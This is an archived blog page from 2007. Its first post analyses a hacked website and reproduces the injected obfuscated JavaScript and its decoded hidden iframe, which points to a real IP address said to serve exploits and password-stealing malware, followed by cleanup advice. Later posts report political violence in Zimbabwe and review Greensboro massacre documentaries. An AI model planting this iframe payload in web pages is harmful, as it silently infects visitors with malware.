My Heart's in Accra

Ethan Zuckerman's musings on Africa, international development
and hacking the media.

03/21/2007 (3:04 pm)

Hacked websites, trojan horses, Russian/Panamanian blackhat hackers – just another day at the Berkman Center

Filed under: Berkman,Geekery ::

About a week ago, I was writing a blog post and wanted to link to a friend’s personal site. I wanted to make sure I got the link right, so I googled her name. I was surprised to discover that Google wouldn’t let me connect directly to her site – instead, under the description of her site as the warning “This site may harm your computer”.

I’d seen the “this site may harm your computer” message before. Several of my colleagues at Berkman are involved with a project and website called Stop Badware. It’s the brainchild of my friend Jonathan Zittrain, who is deeply concerned that the “generativity” of internet-connected PCs might lead to an environment so dangerous that users will switch to less-generative, single purpose Internet devices. (Zittrain’s excellent paper on generativity is here, and I’ve written previously on generativity and Stop Badware here.) Stop Badware maintains a catalog of sites that have been reported to distribute “badware”, which they describe as “…malicious software that tracks your moves online and feeds that information back to shady marketing groups so that they can ambush you with targeted ads. ”

Google identifies sites that they believe are spreading badware and registers them with Stop Badware. My colleagues with Stop Badware have the unenviable task of managing the Google review process – if a site is tagged as spreading badware, the site’s administrator has the option of protesting and having the site reviewed by a team that includes folks at the Berkman Center. This is a very emotional issue for site owners, as having your site de-listed by Google can have very serious consequences for your traffic, your reputation, etc.

So what was my friend’s site doing on Google’s badlist? She doesn’t distribute software of any sort. Clearly some sort of mistake had been made. I wrote a snippy letter to my friends at Berkman, cc’d it to Zittrain and titled the missive, “Not the best day for Stop Badware”.

Of course, I was the one who’d made the mistake. Within half an hour, three of my colleages pointed me to the source code of my friend’s page. At the top of her index page was a strange-looking piece of Javascript:


script language="javascript"> document.write( unescape(
'%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68
%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34
%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D
%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D
%22%30%22%20%77%69%64%74%68%3D%22%31%22%20
%68%65%69%67%68%74%3D%22%31%22%20%73%63%72
%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61
%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69
%66%72%61%6D%65%3E'
) );

That’s some seriously obfuscated Javascript. But if you translate from hexidecimal to ASCII, the code’s pretty clear – it inserts the following code into the top of the HTML page:


< iframe src= http://81.95.146.98/index.html frameborder="0" width="1" height="1" scrolling="no" name=counter>< /iframe>

The code opens an “iframe”, an inline frame which allows another web page to be embedded within a page – iframes are pretty useful things, especially for building interactive applications in web pages. But this frame is pretty sinister. It opens a one pixel by one pixel frame which attempts to load the webpage located at http://81.95.146.98/index.html.

That page doesn’t load on my browser – the server is apparently refusing connections, at least from my Macintosh – but it occupies an IP in a block of addresses controlled by a charming bunch of guys who do business as RBusiness Network. Google for them and you’ll mostly find lots of angry message board posts from spamfighters – the RBusiness folks operate a number of servers advertised in spam emails and are suspected of relaying large amounts of spam. Many of the RBusiness- associated webpages are in Russian, though their servers are currently in Panama City, Panama – some antispammers believe that RBusiness is short for “Russian Business Network“, which was evidently their previous operating name.

Googling for the specific IP – 81.95.146.98 – turns up a couple of pages with people documenting an interesting exploit – the Microsoft Data Access Components exploit. Basically, when you load this iframe, it runs a small script which downloads and runs a Windows executable file. That file downloads a rootkit, a password sniffer and opens a backdoor into the user’s system. (Needless to say, this only happens on Microsoft Windows systems running unpatched software… which is to say, many Windows systems.) According to Ivan Macalintal, this iframe was installing code from websites that looked fairly innocuous, including one that promised to help you write your company’s travel policy. (Remarkably, this site is the #1 match for a search for “travel policy” on Google, though Google doesn’t let you click directly to the page, stopping you with a “harm your computer” message.)

It’s possible that this is what my friend’s site was trying to install – Ivan’s report dates from October 2006. It’s also possible that it was trying to install a more recent package of malware – Trojan-PSW.Win32.Small.bs – which Avira saw linked to the 81.95.126.98 domain in early January of this year. This little nasty logs passwords entered on webpages, opens a SOCKS proxy on your machine and calls home to an RBusiness server to let the bad guys know how to take advantage of your new machine to send spams and retrieve your passwords.

So has my friend begun working for Russian/Panamanian black hat hackers? It’s pretty unlikely – she’s just not that sort of gal. So, how’d the code get onto her otherwise innocent website?

Simply put, it was hacked. Not content with setting up websites to spread their trojan horses, the RBusiness boys have been breaking into blog and wiki sites and installing this new iframe. In some cases, they’re able to guess default passwords; in other cases, they exploit unpatched bugs in software. I was all ready to go to Berkman yesterday with my tail between my legs and tell my colleagues that my friend’s server had been compromised. But my friends were already dealing with the fact that Google had found malicious iframes on a number of Harvard-affiliated sites, including several blogs hosted on the blogs.law.harvard.edu server! Stop Badware, yesterday at least, was stopping Berkman.

It’s great that Google is proactively searching for these dangerous bits of code, but it would be much, much better if they were also alerting owners of these compromised sites. When the program began, the logic – as I understand it – is that using site registration information (via whois) and alerting the contacts for a site would probably result in sites being thrown off their servers before they had a chance to appeal the decisions. That might have been a good call when most of the folks getting tagged for spreading malware were knowing distributors of the evil stuff. But in a world where lots of folks are having their sites hacked and are spreading malware unconsciously, it would be a really, really good idea to alert people who’ve been tagged by Google. In this case, both the tech and admin contacts for the site were legit, working email addresses and my friend would have been able to remove the offending code much more quickly than by having me discover it via Google.

How widespread is this new attack? That’s not clear – Stop Badware now has over 45,000 reports on URLs which Google or other partners have identified as distributing badware – my friends within the project report that daily reports of new sites have increased 300% over the past few weeks, suggesting there may be a wave of this sort of server compromise.

If your site is identified as spreading malware by Google and you think you’re experiencing this problem, do the following:

- Use the “view source” function on your browser and look at the source of the indexed pages of your site. If you find an obscured javascript like the one posted above, then there’s a good chance you’re in the same circumstances as my friend.

- Edit your html pages to remove the offending code.

- Change your password on your hosting account, making sure you’re using a secure password.

- Alert your hosting provider so they can be sure their software is patched and the attackers weren’t exploiting a known software hole.

- Visit the StopBadware site and use the “request a review” form to have them reexamine your site and remove the block. DON’T DO THIS UNTIL YOU’VE REMOVED ANY OFFENDING CODE, or you’re wasting your time and theirs.

These sorts of attacks are also reminders for Windows users that you can inadvertently install really nasty software on your machine even if you don’t open email attachments. Please, please keep your Windows installation patched and up to date, and consider using the Firefox browser. Some of these attacks take advantage of specific features in the Internet Explorer browser to allow the hostile code to load on your machine.

There’s a brief interview with Jonathan Zittrain in January’s Wired magazine, where the interviewer (Lucas Graves) is skeptical about JZ’s concerns about malware forcing users off PCs and onto less generative devices. Graves notes, “Things would have to get pretty damn bad to make us abandon our PCs.” JZ mentions that they could, indeed, get really bad. Hacked webservers that install code on unsuspecting that turns your PC into a zombie for spam relaying and other attacks? Maybe JZ’s more prescient than I thought…

03/21/2007 (11:00 am)

Angola enters the “rent a thug” business

Filed under: Africa ::

What happens when your currency has collapsed to the point where you can’t pay your police? Ask your friendly neighbor to borrow some of their thugs.

The crisis in Zimbabwe has taken a toll on police and security forces, many of whom have deserted and left for South Africa, to seek work as security guards, according to a leaked police memo. They’re part of an exodus of Zimbabweans to neighboring nations – estimates suggest that two to three million Zimbabweans have fled to South Africa, putting a strain on that country’s resources. Other members of the Zimbabwean police have refused to participate in increasingly brutal and violent crackdowns on dissent.

So Zimbabwe has turned to Angola for help. Angola is emerging from almost three decades of brutal civil war, where a proxy battle between the US and Soviet Union killed half a million civilians and left land mines scattered all over the country. (A side note: a Norwegian project to improve the self-esteem of Angolan landmine survivors – a beauty contest called Miss Landmine – has come up for some sharp criticism from my friends at Black Looks.) But Angola’s got oil – lots of it, as much as Brazil or Algeria. And international oil companies are lining up to drill in Angolan waters, pumping money into the coffers of a corrupt, low-transparency government that passes very little money to extremely poor civilians.

Angola’s security forces are considered extremely well-trained, as most have experience from fighting rebels in the Angolan civil war. And now 3000 Angolan troops are coming to Zimbabwe to assist with “quelling violence and maintaining law and order”. Officers are expected on the ground as early as April 1st – the deal is nominally an “exchange” program between the two forces, but it’s unclear whether Zimbabwe will be able to provide officers to serve in Angola any time soon.

Christopher Dell, the US ambassador to Zimbabwe, gave an interview to the Associated Press yesterday from South Africa, in which he suggested that dissafection with Mugabe had reached “a tipping point”. He believes that Mugabe is losing control of the police in part because individual officers are afraid of reprisals from their communities:

“Police are trying to distance themselves from the repression. Police officers feel insecure. We are told some are afraid to wear their uniforms back and forth to work,” said Dell, noting that most police live in the poor, high-density suburbs of Harare and are afraid of reprisals from their neighbors.

It’s unclear whether Dell will be able to return to his post in Harare – Mugabe and his foreign minister Simbarashe Mumbengegwe have been demanding that diplomats stop “backing” the MDC opposition. I’m glad that Dell is speaking publicly and openly about the deteriorating situation – it may have become clear to him that he’s going to be expelled one way or another and he’s chosen to go out with a fight rather than leaving quietly.

03/20/2007 (12:17 am)

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03/19/2007 (1:02 pm)

Ambassador Dell might not have such a hard time flying out of Harare…

Filed under: Africa,Human Rights ::

Last week’s violent crackdown on a peaceful rally in Harare has led to speculation that Mugabe’s government is finally crumbling and that change is on the way in Zimbabwe. That may be true, but in the short term what’s more apparent is the increasing violence and desparation of the Mugabe government. Reading the headlines this weekend, I found myself comparing the tragic nature of different events and wondering which once should be considered the most upsetting and offensive.

The beating of Nelson Chamisa, an aide to opposition leader Morgan Tsvangirai, is profoundly disturbing. Chamisa was travelling to Brussels for an EU meeting (perhaps because Tsvangirai, who was beaten while in police custody could not make the trip himself…) According to MDC spokesmen, he was beaten unconscious with iron bars by “a gang” and is now recovering from injuries at a private hospital in Harare. Doctors say that Chamisa may lose an eye from the beating, which occurred just before he entered the departures lounge, in the view of the general public. According to witnesses, one of the men who beat Chamisa wore an army vest, leading to speculation that the attack was carried out by the Central Intelligence Organization.


Sekai Holland’s injuries

It wasn’t a good weekend to fly out of Harare. Sekai Holland and Grace Kwinjeh, two activists who’d been beaten last weekend were being medevac’d to Johannesburg for treatment of their injuries on Saturday. They were stopped on the tarmac and ordered to return to their hospital until they were officially cleared for travel by the ministry of health, a new requirement apparently created to prevent the women from leaving the country, having their injuries treated and speaking to the press in South Africa. The police have now said that all activists arrested on March 12th will need to appear in court before being allowed to leave the country – no word on whether the police and prosecutor will fail to show up in court, as they did last time the opposition figures appeared to face charges.

The detail that made me angriest in all these reports was the report that the CIO had seized the corpse of Gift Tandare, an activist shot by the police in their March 12th crackdown. According to the MDC, his body was seized so that his burial wouldn’t turn into a spontaneous demonstration. The government sees it differently – according to the Herald, “The body had been collected by the dead man’s father and the government had helped the family with the burial at his rural home in line with traditional custom…”

Perhaps the most disturbing detail this weekend comes from US Ambassador Chris Dell:

U.S. Ambassador Christopher Dell told the British Broadcasting Corp. that Mugabe last week spoke to the youth movement of his party and authorized it to use any means available against the opposition.

“What we believe is that we’re witnessing a major split inside the security forces, where the regular police, the real police, the professional police of Zimbabwe, are reluctant to carry out such orders, and therefore the regime is increasingly relying on youth militias and special agents from their Central Intelligence Organization, the CIO of Zimbabwe,” Dell said.

Do not be surprised if Dell is expelled from Harare – I predict we’ll see his expulsion in the next few days. Dell walked out of a meeting with Zimbabwe’s foreign minister earlier today after being criticized for offering food and water to jailed opposition activists. While I admire Dell’s words and actions in the past days, I worry that losing a US diplomatic presence in Zimbabwe would further restrict the information we’re able to get from Harare.

03/19/2007 (12:18 am)

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03/17/2007 (12:22 am)

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03/16/2007 (12:21 am)

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03/15/2007 (11:11 pm)

Two takes on the Greensboro massacre

Filed under: Human Rights,Media ::

Speakers at this year’s South By Southwest received a pass that allowed admission to all interactive sessions as well as all film sessions, which gave the geeks a chance to see what a film festival looks like. It also gave me a chance to catch two documentaries in two nights, a rare privlege, and to encounter a film provocative enough that it got me to watch an additional documentary last night.

The first film I caught was the premiere of What Would Jesus Buy?, the story of performance activist “Reverend” Billy Talen’s quest to decomercialize Christmas. Backed by a gospel choir, the Reverend Billy preaches the gospel of The Church of Stop Shopping in churches, malls and parking lots around America, leading to an anti-shopping rally in Disneyland on Christmas Day. Predictably, he gets arrested a lot. It runs very close to being a one-joke story, but the earnestness and commitment of the 30+ choir members made the film work for me, and it was a treat to watch the choir members perform live at the end of the film.

While WWJB gathered a huge crowd at the Paramount theatre downtown (no doubt due in part to the involvement of producer Morgan Spurlock of “Supersize Me” fame), another premiere Rachel and I attended had a much sparser crowd. “Greensboro: Closer to the Truth” is Adam Zucker’s film about a little-known chapter of recent American history: the Greensboro Massacre.

In the late 1970s, a group of activists in Greensboro began working in the Cone Textile mill, attempting to organize textile workers to lobby for better wages. The interracial group of activists also challenged racism and bigotry, which put them in conflict with the Ku Klux Klan, which was alive and well in North Carolina at that point. In July of 1979, the Klan held a showing of the notorious pro-Klan film “Birth of a Nation” – the Greensboro activists held a noisy protest at the site of the screening, disrupting the event.

On November 3, 1979 the activists held a march in Greensboro titled “Death to the Klan”. Starting in one of the poorest neighborhoods of Greensboro, marchers planned to travel through the city, waving signs and singing. Shortly after the march began, a caravan of cars and trucks carrying Klan members and neo-Nazis arrived. Activists began beating on the Klan vehicles with their protest signs. Klansmen left their cars, retrieved weapons from the trunk of a Ford Fairlane and opened fire on the demonstrators, killing four immediately, and wounding others, one of whom died a day later.

Surprised you didn’t hear about it? It happened the day before US hostages were seized in Iran, pushing the story off the front pages. And the event was extremely embarassing for Greensboro, as the local police didn’t appear at the march until after the murders occurred. The police and the ATF had informants in the Klan and knew that armed men were coming to the march, yet the Greensboro police ordered officers to take a “lunch break” at 10:30am, allowing the Klan to confront the demonstrators. When the police arrived, they arrested the labor activists and held their leader on twice as much bail as any of the Klansmen and Nazis.

Two trials took place – state and federal – and the Klansmen were found not guilty. But a civil suit found the Klan, the Nazis and the city jointly negligent and awarded $400,000 to the survivors. But that only went partway towards healing the wounds caused by the massacre. Inspired by truth and reconciliation commissions in South Africa, some of the massacre survivors lobbied for a truth and reconciliation comission to evaluate the events of November 3, 1979. The town never agreed to participate, but independent funding allowed the commission to hold public meetings, interviewing victims, witnesses and, remarkably, some of the Klan members who participated in the shootings.

Zucker’s film focuses on the idea of reconciliation and on the healing of wounds. Nelson Johnson, who had been the firebrand leader of the activists in 1979 has become a reverend, and gives the impression of being as wise in his age as he was impulsive in his youth. One of the Klansmen interviewed comes off as a somewhat sympathetic figure whose pride about his state and his identity led him to a reprehensible stance. The message, in general, seems to be that we can heal, even from terrible wounds. What’s less clear is whether the city of Greensboro accepts responsibility for the massacre. The former mayor of Greensboro, Jim Melvin, clearly feels that the events of November 3 need to be buried so that Greensboro can thrive.

We got to talk with Zucker after the film. He mentioned that he’s got no personal ties to the city: he was researching a film on TRCs around the world and thought that an American TRC would be a fascinating part of the story. I asked Zucker what he hoped the film would do to influence Greensboro in the future and didn’t get an especially satisfactory answer – he mentioned that Jim Melvin refused to speak to him more than once, and was a pretty hostile interview. It sounded like it’s not realistic to hope for more than increased local awareness of what happened almost thirty years ago.

I’d remembered that my friend Sean Coon, who moved to Greensboro a few years back, has been writing about the massacre. Looking back at his posts, I realized that his brother, Andy Coon, had been working on a documentary about the massacre called “Greensboro’s Child“. It’s got a very different focus from Zucker’s documentary and reveals a set of details that tell a significantly different story.

Coon’s documentary focuses on Kwame Cannon, the son of Willena Cannon, one of the organizers of the Smash the Klan rally. Kwame was ten years old at the time of the rally and was participating in the march when the shooting took place. In Coon’s documentary, he tells the story of running from house to house, knocking on doors, fleeing the gunmen. It’s not entirely surprising that Kwame’s childhood wasn’t an entirely easy one. By sixteen, he’d begun treating his older cousin, Kurt, as a father figure. Unfortunately, Kurt was a burglar and trained Kwame to be a burglar – Kurt scouted houses during the day and asked Kwame to break into them at night.

Kwame was arrested and charged with six counts of non-violent burglary. Under North Carolina law at the time of sentencing, he could face fifty year sentences for each of six counts. His incompetent, drunk lawyer “plea bargained” down to two consecutive life sentences. The sentencing judge begged Kwame not to take the deal – he did, and ended up serving thirteen years in jail until public pressure forced the governor to commute his sentence.

Coon’s documentary suggests that a reason for Cannon’s absurd sentence was retribution for his mother’s succesful civil suit against the city, but doesn’t make an overwhelming case. Kwame’s mother, Willena, makes it clear that she sees her son’s plight as part of the systematic persecution of African-American men at the hand of the US judicial system.

In “Greensboro’s Child”, we get a much harsher picture of Jim Melvin and of the city of Greensboro. (I wonder whether Melvin was so uncooperative with Zucker because of how poorly he comes off in this documentary.) Coon shows evidence that the Greensboro police were monitoring the Klan that day, taking photographs of their approach to town. With two paid government informants in the Klan, it’s absurd to suggest that the police didn’t know what was likely to transpire. The contrast between documentaries also brings out some important details that Zucker’s glosses over. Zucker refers to the activists throughout as the Communist Workers Party, and suggests that’s part of the reason they were so ill-treated. Coon makes it clear that they called themselves the Worker’s Viewpoint Organization until after five of their members were killed – only then did they declare themselves communists.

The impression Zucker’s film gives is of a town that’s reluctantly facing its dark past. The impression Coon’s gives is us a deeply troubled, racist city more concerned with smoothing over the dark past at the expense of justice. I realize both of those characterizations are likely unfair and inaccurate – I’m well aware that terrific bloggers like Ed Cone have covered this situation with far more detail, subtlety and grace than I could possibly summarize in this post. I’m fascinated first that an event of this magnitude in American civil rights history could have happened without most Americans knowing about it, and even more fascinated that two excellent documentaries frame the events in such different ways.

03/15/2007 (6:17 pm)

Zimbabwe: Sunday’s violence and the aftermath

Filed under: Africa,Human Rights ::

The violent crackdown on dissent in Harare this past Sunday is starting to have repercussions around the world and in the nation. The US has suggested an increase of sanctions on the Mugabe government - the challenge is finding a way to apply pressure that doesn’t make the situation more miserable for average Zimbabweans. There’s already an arms embargo, a travel ban and an asset freeze on President Robert Mugabe and other top officials. It’s also unclear (to me, at least) whether US/UN/EU pressure will have effect without strong pressure from South Africa and from China… and recent history suggests that China is unlikely to cooperate in applying pressure to the Mugabe government.

In the meantime, there’s been violence against a police barracks in Mufakose, a suburb of Harare. The government newspaper blames the “militant youth” segment of the MDC for cutting through a boundary fence and lobbing teargas canisters and petrol bombs into police lodgings, injuring three police officers. Another bombing took place in Gweru, a smaller city near Bulawayo. The MDC denies involvement with the bombings, pointing out that the only people in Zimbabwe who have tear gas are the army and the police. Jonathan, writing at Head Heeb, notes that this is a truly unusual development in Zimbabwean resistance:

If the bombers were indeed opposition supporters – and low as the government’s credibility may ordinarily be on such matters, there’s every reason to believe they were – then it marks a significant escalation, because organized violence hasn’t been a notable tactic of the civic opposition in recent years.

The Mail and Guardian, one of South Africa’s better papers (owned by a noted Zimbabwean activist and strongly anti-Mugabe), has published the account from a police officer who witnessed the beatings of activists Sunday night. The officer alleges that the beatings were delivered by an army commando unit and were intended to kill the leaders of the MDC opposition:

“I have been in the police force for three years, and I have been involved in the assault of suspects.

“But what I saw on Sunday was not assault. It was attempted murder, especially on Tsvangirai, [opposition leader Lovemore] Madhuku and [MDC deputy secretary for international affairs Grace] Kwinjeh.”

The account goes on to detail the techniques used by the officers in beating the prisoners over the course of two hours, reviving the detainees when they passed out and beating them into unconsciousness again. According to the officer’s account, the detainees were delivered to different police stations for further detention early on Monday morning.

Zimbabwean lawyers and doctors had a difficult time gaining access to the detained activists – doctos were finally allowed to see their patients on Tuesday afternoon. According to the Zimbabwe Association of Doctors for Human Rights, 20 of the 64 people detained were injured severely enough that they remain in hospital. Five suffered broken bones, three suffered severe head injuries, and 14 were beaten severely enough to cause soft tissue injuries. The delay in treatment caused further complications, the doctors say – Morgan Tsvanirgai lost so much blood that he’s suffering from anemia and has needed a transfusion. The press release from the ZADHR hasn’t appeared on the web yet – I enclose the text below, which I received via email earlier today.

Predictably, Uncle Bob has a slightly different view of events than the MDC does. He argues that the MDC was responsible for the violence of Sunday night and that the injuries suffered by the opposition leaders were as a result of resisting arrest. He complains that the MDC isn’t being criticized for instigating violence:

“When [western governments] criticise the government when it tries to prevent violence and punish perpetrators of that violence we take the position that they can go hang,” he said.


ZIMBABWE ASSOCIATION OF DOCTORS FOR HUMAN RIGHTS
14 March 2007

Press Statement

NATURE OF INJURIES OF TORTURED CIVIL SOCIETY ACTIVISTS AND OPPOSITION PARTY LEADERS

The Zimbabwe Association of Doctors for Human Rights (ZADHR) has, having been granted extremely delayed access to Opposition Party Leaders and Civil Society Activists arrested on Sunday 11 March 2007, been able to assess the extent of the injuries they sustained.

It is highly regrettable that the medical treatment of these persons was wilfully delayed by the Zimbabwe Republic Police despite the stated urgency of the need for medical treatment. This resulted in the aggravation of injuries sustained in several persons.

In violation of the rights of the injured persons detained, medical treatment was denied on 11 March 2007 and again on Monday 12 March 2007. In default of a High Court Order granted on the evening 12 March 2007 the police further denied medical access to the injured persons. Permission to take the injured to a medical facility was finally granted on the afternoon of Tuesday 13 March 2007.

In the interim several of the persons detained were in a grave medical condition. Of the 64 persons attended to 20 are currently admitted to hospital for treatment.

The injuries documented were consistent with beatings with blunt objects heavy enough to cause the following:

* Fractures to hands, arms and legs in 5 individuals including Lovemore Madhuku with a fractured ulna. 3 of these, Elton Mangoma, Sekai Holland and Morgan Tsvangirai sustained multiple fractures.
* Severe, extensive and multiple soft tissue injuries to the backs, shoulders, arms, buttocks and thighs of 14 individuals.
* Head injuries to 3 individuals, Nelson Chamisa, Morgan Tsvangirai and Lovemore Madhuku with the latter two sustaining deep lacerations to the scalp.
* A possibly ruptured bowel in 1 individual due to severe blunt trauma to the abdomen.
* A split right ear lobe sustained by Grace Kwinjeh.

Prolonged detention without accessing medical treatment resulted in severe haemorrhage in Morgan Tsvangirai leading to severe anaemia which warranted a blood transfusion. Injuries sustained by Sekai Holland were also worsened by denial of timely access to medical treatment which led to an infection of deep soft tissue in her left leg. Denial of access to treatment in another individual suffering from hypertension lead to angina.

Further tests are currently being carried out to determine the fuller extent of injuries in several of those currently admitted. Some will require surgical procedures as part of their treatment. Sekai Holland has already undergone a surgical fixation of the fracture in her left ankle.

2 of the individuals hospitalised were admitted due to conditions resulting from poor conditions of detention with severe diarrhoea in 1 individual and extensive and severe flea bites in 1 individual.

In addition to those tortured during the course of their arrest, 2 individuals were shot while attending the funeral of Gift Tandare, who was shot dead on Sunday March 11 2007. The two individuals sustained gunshot wounds to the left ankle and right arm respectively. One sustained a shattered left ankle from the gunshot wound and is likely to require amputation from the left ankle downwards. The other individual primarily sustained shrapnel wounds early on Monday 12 March but however was shot again in the same arm on the evening of Monday 12 March upon his return to the funeral resulting in a open fracture to the arm, the severity of which may warrant amputation of that arm.

03/15/2007 (12:20 am)

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